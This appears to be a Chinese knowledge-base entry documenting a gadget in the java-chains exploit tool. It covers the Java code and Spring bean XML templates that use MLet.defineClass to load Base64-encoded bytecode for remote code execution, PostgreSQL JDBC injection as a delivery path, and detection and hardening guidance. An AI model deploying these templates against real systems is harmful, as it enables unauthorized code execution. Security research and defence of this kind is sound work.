- 类别:common 别名:sbxcl 优先级:20
- 作者:小晨曦
- 依赖:
spring-bean(目标侧需具备 Springbeans相关类:ClassPathXmlApplicationContext/MethodInvokingFactoryBean) - 实现:直接实现
com.ar3h.chains.common.Gadget(无基类)
这是一个产物为文件(XML 文本)而非序列化对象的特殊构件。它把下游产出的恶意字节码编码后,拼进一段 Spring bean 定义 XML(beans 命名空间),使得任何会以 ClassPathXmlApplicationContext(或等价方式)加载该 XML 的场景,在解析 bean 时:先用 Base64 解码器把字节码解成 byte[],再借 javax.management.loading.MLet 这个可无参构造的 ClassLoader 调用 defineClass 定义任意类,最后 newInstance() 实例化触发恶意类的构造/静态逻辑,达成 RCE。典型落地场景是 PostgreSQL JDBC url 等能被诱导加载远程/本地 Spring XML 的注入点。
注意:本构件的
invoke返回值是一段 XML 字符串,并把该 XML 以随机*.xml文件名写入ContextTag.CACHE_FILES_MAP,交由 java-chains 的文件托管机制对外提供。它不参与任何 Java 原生反序列化链的对象包装,因此配套的 Payload 入口是OtherPayload(“输出文件内容”类)。
- 入口
tags:Other—— 归入“非序列化对象产物 / 其他类型”这一类入口,供OtherPayload直接取用其字符串产物。 - 衔接
nextTags:BytecodeConvertTag—— 其下游必须是一个“把恶意逻辑转成byte[]字节码”的转换器(即 BytecodeConvert),本构件正是把该字节码嵌入 XML。 excludes:无。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
this.context = context;
byte[] bytecode = (byte[]) chain.doCreate(context); // 内层:BytecodeConvert 产出的恶意类字节码
return this.getObject(bytecode); // 产物是 XML 文本,而非序列化对象
}按知识库“由内向外”的构建约定,chain.doCreate(context) 先驱动下游链尾(Exec 生成命令执行逻辑 → BytecodeConvert 转成 byte[]),本构件拿到的就是这段可 defineClass 的类字节码。
public String getObject(byte[] bytecode) {
String payload = "";
if ("org.springframework.util.Base64Utils.decodeFromString".equals(this.base64)) {
payload = String.format(template1, this.base64, Base64.encodeBase64String(bytecode), bytecode.length);
} else if ("javax.xml.bind.DatatypeConverter.parseBase64Binary".equals(this.base64)) {
payload = String.format(template1, this.base64, Base64.encodeBase64String(bytecode), bytecode.length);
} else if ("com.sun.org.apache.xml.internal.security.utils.Base64.decode".equals(this.base64)) {
payload = String.format(template1, this.base64, Base64.encodeBase64String(bytecode), bytecode.length);
} else if ("java.util.Base64".equals(this.base64)) {
payload = String.format(template2, Base64.encodeBase64String(bytecode), bytecode.length);
}
HashMap<String, byte[]> fileMap = new HashMap<>();
fileMap.put(CommonUtil.getRandomString(10) + ".xml", payload.getBytes());
this.context.put(ContextTag.CACHE_FILES_MAP, fileMap); // 把 XML 以随机文件名交给工具托管
return payload;
}要点:
- 生成侧编码固定用 commons-codec 的
Base64.encodeBase64String(bytecode)(标准、无换行 Base64),把字节码变成可放进 XML<value>的文本。bytecode.length作为defineClass(b, off, len)的第三个参数回填。 - 解码侧由用户选的
base64决定,分两套模板(见下)。 - 产物 XML 被塞进
CACHE_FILES_MAP,文件名为CommonUtil.getRandomString(10) + ".xml"——这样工具就能把它作为一个可被目标ClassPathXmlApplicationContext拉取的资源提供出去。
用于三种“单参静态解码方法”(Base64Utils.decodeFromString / DatatypeConverter.parseBase64Binary / xml.internal.security...Base64.decode)。核心结构(%s 依次为解码方法全名、Base64 文本、字节码长度):
<bean id="decoder" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<property name="staticMethod" value="%s"/> <!-- = this.base64,静态解码方法全名 -->
<property name="arguments"><list><value>%s</value></list></property> <!-- = Base64 文本 -->
</bean>
<bean id="classLoader" class="javax.management.loading.MLet"/>
<bean id="clazz" factory-bean="classLoader" factory-method="defineClass">
<constructor-arg ref="decoder"/> <!-- byte[],即解码结果 -->
<constructor-arg type="int" value="0"/>
<constructor-arg type="int" value="%s"/> <!-- = bytecode.length -->
</bean>
<bean factory-bean="clazz" factory-method="newInstance"/>MethodInvokingFactoryBean是 Spring 提供的“调用任意方法并把返回值作为 bean”的工厂 bean;这里staticMethod指向解码方法、arguments传入 Base64 文本,故decoderbean 的值就是解出的byte[]。classLoaderbean 选javax.management.loading.MLet的关键原因:它是java.net.URLClassLoader的子类却带 public 无参构造器,因此能被 Spring 以<bean class="...MLet"/>直接实例化(而URLClassLoader无无参构造,无法这样声明)。clazzbean 以factory-bean=classLoader+factory-method=defineClass调用ClassLoader.defineClass(byte[], int, int)。该方法虽为protected(继承自ClassLoader),但 Spring 的工厂方法解析会通过反射定位到并makeAccessible,于是把byte[]定义成一个真正的Class。- 末尾
factory-method="newInstance"对定义出的类调用Class.newInstance()——实例化即执行其无参构造/静态初始化,恶意逻辑(Exec注入的命令执行)在此触发。
java.util.Base64 的解码不是单参静态方法,而是 Base64.getDecoder().decode(String),故需两步(%s 依次为 Base64 文本、字节码长度):
<bean id="base64DecoderInstance" class="java.util.Base64" factory-method="getDecoder"/>
<bean id="decoder" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<property name="targetObject" ref="base64DecoderInstance"/>
<property name="targetMethod" value="decode"/>
<property name="arguments"><list><value>%s</value></list></property>
</bean>
...(classLoader / clazz / newInstance 与模板一相同,clazz 的 length 回填 %s)即先用 factory-method=getDecoder 取到 Base64.Decoder 实例,再用 MethodInvokingFactoryBean 的 targetObject+targetMethod=decode 调用其实例方法解码。其余 MLet.defineClass → newInstance 环节与模板一一致。
| 字段 | 名称 | 说明 | 类型 | 默认值 | 可选值 |
|---|---|---|---|---|---|
base64 |
base64实现 | 目标侧用于把 Base64 文本解回 byte[] 的解码实现,决定采用 template1(静态方法)还是 template2(java.util.Base64 实例方法);需与目标环境实际可用的类/版本匹配。 |
ParamType.Choice |
org.springframework.util.Base64Utils.decodeFromString |
见下四项 |
四种 base64 取值及其适配性(源自 @Param.description):
org.springframework.util.Base64Utils.decodeFromString:spring-core 自带,会自动选择当前 JDK 版本最合适的解码方式;spring-core 6.2 之后被移除。javax.xml.bind.DatatypeConverter.parseBase64Binary:JDK 自带,JDK 11 后迁移至 Jakarta XML Binding,需要额外引入依赖。java.util.Base64:JDK 自带,JDK 8 之后的 Base64 标准库(走template2)。com.sun.org.apache.xml.internal.security.utils.Base64.decode:JDK 1.4~8 可用但属 internal API,JDK 9+ 默认不导出,需--add-exports。
- 触发前提:目标能以
ClassPathXmlApplicationContext(或等价的 Spring XML bean 加载器)解析本构件产出的 XML。常见注入面是 PostgreSQL JDBC url 等可被诱导加载外部 Spring XML 的场景(依赖spring-bean)。 - RCE 链路:Base64 解码 →
MLet.defineClass定义任意类 →Class.newInstance()触发构造/静态块。因此嵌入的字节码需是一个无参可实例化、且构造/静态逻辑即执行 payload 的类——这正是链尾Exec+BytecodeConvert产出的字节码所满足的形态。 - 解码器与环境匹配是成败关键:
base64选项必须对准目标的 JDK / spring-core 版本,否则 bean 解析时找不到方法/类而失败。默认的Base64Utils.decodeFromString在 spring-core 6.2 已移除,较新 Spring 目标建议改用java.util.Base64(JDK 8+ 稳定可用)。 - MLet 的可用性:
javax.management.loading.MLet属 JDK 管理扩展(java.management模块),在标准 JRE/JDK 上普遍存在且有 public 无参构造,是本技巧选它作定义类载体的根本原因。 - 生成侧固定使用 commons-codec 的
Base64.encodeBase64String(工具自身依赖),与目标解码器只需就“标准 Base64 字符集”达成一致即可互通。
- Spring Bean Xml 加载字节码(id 39,
[SpringBeanXmlClassLoader, BytecodeConvert, Exec],适用 Payload:OtherPayload)
- 下游(
nextTags=BytecodeConvertTag):BytecodeConvert —— 把Exec的执行逻辑转成byte[]字节码交给本构件嵌入。 - 链尾 sink:Exec —— 生成实际命令执行的类字节码。
- 同类“文件产物 + 字节码装载”思路的构件:CharsetJarConvert2(
Other+BytecodeConvertTag,产出 charsets.jar 形态的字节码载体)。
- 流量/文件特征:出站或落盘的 Spring
beansXML 中出现MethodInvokingFactoryBean搭配staticMethod/targetMethod=decode、class="javax.management.loading.MLet"、factory-method="defineClass"、factory-method="newInstance"等组合,且<value>内含大段 Base64——是本 gadget 的强指纹。随机 10 位小写文件名 +.xml亦可作为辅助线索。 - 注入面收敛:审查任何会调用
ClassPathXmlApplicationContext/GenericXmlApplicationContext加载外部可控路径的代码;对 JDBC url(尤其 PostgreSQL 的socketFactory/socketFactoryArg等)参数做严格白名单,禁止指向攻击者可控的 XML。 - 加固:升级/限制 Spring bean XML 加载来源,避免从不可信 URL/文件加载 bean 定义;在高版本 JDK 上以模块系统限制
java.management(MLet)与 internal Base64 的可达性(不加--add-exports);对MLet/defineClass反射调用做运行时监控(RASP)。 - 依赖治理:目标侧若不需要,可移除或隔离
MethodInvokingFactoryBean之类“按名反射调用任意方法”的高危工厂 bean 使用面。